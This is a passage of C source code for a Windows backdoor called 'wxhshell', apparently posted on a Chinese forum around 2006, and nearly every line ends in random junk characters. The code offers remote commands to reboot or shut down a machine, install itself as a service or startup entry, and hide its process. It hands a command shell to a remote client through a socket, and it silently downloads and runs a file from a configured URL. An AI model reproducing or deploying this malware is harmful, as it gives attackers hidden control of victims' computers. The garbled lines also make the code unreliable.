  case '?': { mZG n:f}=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4;Vi@(G)  
    break; DIfQ~O+u  
  } w ^?#xU1.i  
  // 安装 2x<!>B  
  case 'i': { Fy0sn|  
    if(Install()) L6#4A3yh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }1%%`  
    else |3^U\r^zo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r-*j"1 e  
    break; N.0g%0A.D  
    } =dsEt\ j  
  // 卸载 @vB-.XU  
  case 'r': { jz]}%O  
    if(Uninstall()) (>AQ\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MiR$N  
    else ~FQHT?DAo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0b['{{X(  
    break; %~} ,N  
    } 3 q J00A  
  // 显示 wxhshell 所在路径 xkU8(=  
  case 'p': { u:Ye`]~o  
    char svExeFile[MAX_PATH]; pmOUl 8y4  
    strcpy(svExeFile,"\n\r"); 9aNOfs8(  
      strcat(svExeFile,ExeFile); (#Xs\IEVF  
        send(wsh,svExeFile,strlen(svExeFile),0); =z]rZSq*o  
    break; &H P g>  
    } |sY  
  // 重启 t\}_WygN  
  case 'b': { <EQaYZY=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z;y{QO  
    if(Boot(REBOOT)) s;..a&C'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oe|8  
    else { b(CO7/e>  
    closesocket(wsh); xcn~KF8  
    ExitThread(0); z>\l%_w  
    } |>[qC O  
    break; CyS %11L  
    } lHDZfwJ&C1  
  // 关机 K&zW+C b  
  case 'd': { 8};kNW^2m  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KVr9kcs  
    if(Boot(SHUTDOWN)) GzBPI'C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,k=8|=aF  
    else { >{9VXSc  
    closesocket(wsh); ,RM8D)m\  
    ExitThread(0); G.^)5!By  
    } l($ 8H AJ  
    break; R\XS5HOE(  
    } P3n#s2o6y  
  // 获取shell ) <{u oH  
  case 's': { .9WOT ti  
    CmdShell(wsh); Bs`{qmbC  
    closesocket(wsh); =mF"D:s*  
    ExitThread(0); >3pT).wH|M  
    break; TOF V`7q;3  
  } j7QK8O$XL  
  // 退出 4/k`gT4  
  case 'x': { e9 @{[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wu><a!3`=o  
    CloseIt(wsh); /-i m g^^  
    break; ivn2   
    } x0jaTlU/  
  // 离开 -*Rf [|Z  
  case 'q': { .@%L8_sMR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nlI3|5  
    closesocket(wsh); {I0U 4]  
    WSACleanup(); ~\i(bFd)  
    exit(1); dvqg H  
    break; l2:-).7xt  
        } 3;VH'hh_  
  } %p$XK(6  
  } vd(S&&]o1  
_p5#`-%mM  
  // 提示信息 5S2 j5M00  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]z5hTY  
} 6wj o:I  
  } u$C\#y7  
]1XtV<  
  return; J*MH`;-  
} a/J Mg   
0nL #-`S  
// shell模块句柄 Yj*T'<e  
int CmdShell(SOCKET sock) ~CbiKez  
{ ^<-)rzTI  
STARTUPINFO si; ep?D;g  
ZeroMemory(&si,sizeof(si)); U._fb=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W]DGt|JP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yg H)U.  
PROCESS_INFORMATION ProcessInfo; /} z9(  
char cmdline[]="cmd"; s]O Z+^Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rks"y&&Nc  
  return 0; ( H&HSs  
} 4x(m.u@  
z-b78A/8  
// 自身启动模式 8a`3eM~?[  
int StartFromService(void) RXg\A!5GV  
{ |aAyWK  S  
typedef struct &M<"Fmn  
{ TWGn: mi  
  DWORD ExitStatus; j6RV{Lkr_  
  DWORD PebBaseAddress; c0o Z7)*}  
  DWORD AffinityMask; "igA^^?X1N  
  DWORD BasePriority; R9 Ab.t  
  ULONG UniqueProcessId; ]Idwy|eG  
  ULONG InheritedFromUniqueProcessId; T4Vp0i  
}   PROCESS_BASIC_INFORMATION; ]' [:QGr  
Sn4xv2/  
PROCNTQSIP NtQueryInformationProcess; Knqv|jJVx1  
JVkuSIR>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j5" L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dsx<ZwZN>  
.?5 ~zK  
  HANDLE             hProcess; 036m\7+Qj  
  PROCESS_BASIC_INFORMATION pbi; 5,s@K>9l;  
F-rhxJd  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]&"ii  
  if(NULL == hInst ) return 0; 1fMV$T==K  
#::+# G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6H: fg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,b -  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Anu:  
BYMdX J  
  if (!NtQueryInformationProcess) return 0; *#b e  
@vyEN.K%mm  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8 yi#] 5`Q  
  if(!hProcess) return 0; dm[cl~[ Q  
b@8z+,_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cZ|NGkZ  
ga/zt-&  
  CloseHandle(hProcess); w(aj'i  
L(K 5f7\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R&;x_4dr^  
if(hProcess==NULL) return 0; }|2A6^FH.  
uA[ :  
HMODULE hMod; TP {\V>*Yz  
char procName[255]; CEkUXsp  
unsigned long cbNeeded; bRyxP2  
ym%` l!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #}B1W&\sw  
J.Xh P_aT  
  CloseHandle(hProcess); <uB)u>3   
}DM W,+3  
if(strstr(procName,"services")) return 1; // 以服务启动 gBh X=2%  
zJW2F_  
  return 0; // 注册表启动 f~\H|E8(  
} w^ z ftm  
SyI~iW#Y1  
// 主模块 Qt {){uE  
int StartWxhshell(LPSTR lpCmdLine) iTq&h=(n  
{ tt2 S.j  
  SOCKET wsl; 9ghzK?Yc  
BOOL val=TRUE; X"d"a={]  
  int port=0; y3 b"'-%  
  struct sockaddr_in door; m4oj1h_4  
tmq?h%O>  
  if(wscfg.ws_autoins) Install(); }:c~5whN  
4V4S5V  
port=atoi(lpCmdLine); @@K/0:],  
u9KT_` )  
if(port<=0) port=wscfg.ws_port; '_4apyq|  
_,60pr3D'  
  WSADATA data; /huh}&NNu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FCEmg0qdjD  
"Y L^j~A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t?-a JU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Vf~-v$YI  
  door.sin_family = AF_INET; '}(>s%~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Miw=2F  
  door.sin_port = htons(port); !ITM:%  
c}n66qJF5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { OYt_i'Q  
closesocket(wsl); 4hxP`!<  
return 1; S-o )d  
} P HOngn  
{ "Cu)AFy  
  if(listen(wsl,2) == INVALID_SOCKET) { Hy\q{  
closesocket(wsl); `.O$RwC&7B  
return 1; *9r(lmrfj  
} kP[fhOpn  
  Wxhshell(wsl); }"WovU{*s  
  WSACleanup(); (_ :82@c  
Zl&ED{k<  
return 0; 2;"vF9WMm  
8%u|[Si;  
} $`7Fk%#+e  
ysK J=  
// 以NT服务方式启动 DFQ`(1Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CKZEX*mPC  
{ 0Yq_B+IC  
DWORD   status = 0; eL"'-d+]  
  DWORD   specificError = 0xfffffff; ~A5NseWCK  
WgR%mm^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @OT$* Qh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >Tl/3{V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )8g& lyT  
  serviceStatus.dwWin32ExitCode     = 0; =dHdq D  
  serviceStatus.dwServiceSpecificExitCode = 0; a@jM%VZ  
  serviceStatus.dwCheckPoint       = 0; OET/4( C  
  serviceStatus.dwWaitHint       = 0; ~D}fy  
C}<e3BXc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D=z="p\  
  if (hServiceStatusHandle==0) return; ]!sCWR  
6?%$e$s  
status = GetLastError(); F%$q]J[  
  if (status!=NO_ERROR) K<::M3eQ  
{ 1 +-Go}I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Kgi`@`  
    serviceStatus.dwCheckPoint       = 0; t^KQv~  
    serviceStatus.dwWaitHint       = 0; iR9duP+  
    serviceStatus.dwWin32ExitCode     = status; xg, 9~f[  
    serviceStatus.dwServiceSpecificExitCode = specificError; ob/<;SrU<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B.od{@I(Xp  
    return; FIfLDT+Wh  
  } ~E8/m_> rU  
f?=0Wzb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m%})H"5  
  serviceStatus.dwCheckPoint       = 0; zj2y=A| Y  
  serviceStatus.dwWaitHint       = 0; !m~r0M7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %pOxt<  
} 9#1?Pt^{<  
s 7w A3|9  
// 处理NT服务事件,比如:启动、停止 rp<~=X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G7`mK}J7  
{ J5jI/P  
switch(fdwControl) 6p&2 A  
{ w/ZP. B  
case SERVICE_CONTROL_STOP: r*mSnPz\q  
  serviceStatus.dwWin32ExitCode = 0; YKU|D32  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $-pijBiz_  
  serviceStatus.dwCheckPoint   = 0; x 2&5zp  
  serviceStatus.dwWaitHint     = 0; 9eHqOmz  
  { 4@\$k+v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zi`q([  
  } > r(`4M:  
  return; _i7yyt;h  
case SERVICE_CONTROL_PAUSE: ji4bz#/B0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^CQp5kp]  
  break; QA^FP8!j  
case SERVICE_CONTROL_CONTINUE: /SM 7t_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 73S N\  
  break; E>-I |X"L1  
case SERVICE_CONTROL_INTERROGATE: G?b*e|@S  
  break; OY81|N j  
}; 6 F39'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #+_=(J  
} `_1fa7,z  
x%H,ta%  
// 标准应用程序主函数 |BhL.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /CyFe<t  
{ f$5pp=s:n  
o/a2n<4  
// 获取操作系统版本 R#y"SxD()  
OsIsNt=GetOsVer(); /DHV-L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L1G)/Vkw  
ADOA&r[  
  // 从命令行安装 A2L"&dl  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?5B?P:=kl  
<VstnJo`Z  
  // 下载执行文件 ~&<vAgy,  
if(wscfg.ws_downexe) { Crj7n/mp]s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]gnEo.R  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7Q Ns q  
} +3XaAk  
^yl}/OD  
if(!OsIsNt) { /%jX=S.5h<  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;K>'Gl  
HideProc(); H{i|?a)  
StartWxhshell(lpCmdLine); =~W=}  
} ci2Z_JA+  
else tcl9:2/^]  
  if(StartFromService()) :|ah u  
  // 以服务方式启动 6XCFL-o-  
  StartServiceCtrlDispatcher(DispatchTable); Ja&S_'P[  
else &M3KJ I0L  
  // 普通方式启动 yDZm)|<.  
  StartWxhshell(lpCmdLine); Fkpaou  
0:I<TJ~P  
return 0; Q1yXdw  
}
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只看该作者 1 发表于: 2006-10-10
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